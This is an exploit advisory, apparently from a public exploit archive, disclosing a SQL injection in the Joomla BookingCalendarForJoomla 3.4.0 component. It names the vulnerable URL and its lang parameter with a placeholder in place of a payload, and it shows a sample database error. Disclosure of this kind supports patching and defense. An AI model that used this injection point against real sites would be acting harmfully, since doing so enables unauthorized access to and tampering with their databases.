Joomla BookingCalendarForJoomla 3.4.0 SQL Injection

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# Exploit Title : Joomla BookingCalendarForJoomla 3.4.0 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 25/02/2019  
# Vendor Homepage : joomlabookingcalendar.com ~ availabilitycalendar.com  
# Software Information Link : extensions.joomla.org/extension/booking-calendar/  
vel.joomla.org/resolved/2169-booking-calendar-for-joomal  
# Software Version : 3.4.0 and previous versions may vulnerable  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
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Joomla BookingCalendarForJoomla. It is kind of calendar for Joomla component.  
  
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# Impact :  
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Joomla BookingCalendarForJoomla 3.4.0 [ and other versions may vulnerable ]   
  
component for Joomla is prone to an SQL-injection vulnerability because it fails to sufficiently   
  
sanitize user-supplied data before using it in an SQL query.   
  
Exploiting this issue could allow an attacker to compromise the application, access   
  
or modify data, or exploit latent vulnerabilities in the underlying database.   
  
A remote attacker can send a specially crafted request   
  
to the vulnerable application and execute arbitrary SQL commands in application`s database.  
  
Further exploitation of this vulnerability may result in unauthorized data manipulation.  
  
An attacker can exploit this issue using a browser.  
  
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# SQL Injection Exploit :  
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/index.php?option=com_bookingcalendarforjoomla&task=ajax&lang=[SQL Injection]  
  
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# Example SQL Database Error :  
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You have an error in your SQL syntax; check the manual that corresponds to your   
MariaDB server version for the right syntax to use near 'AND published   
= 1 ORDER BY ordering ASC' at line 3  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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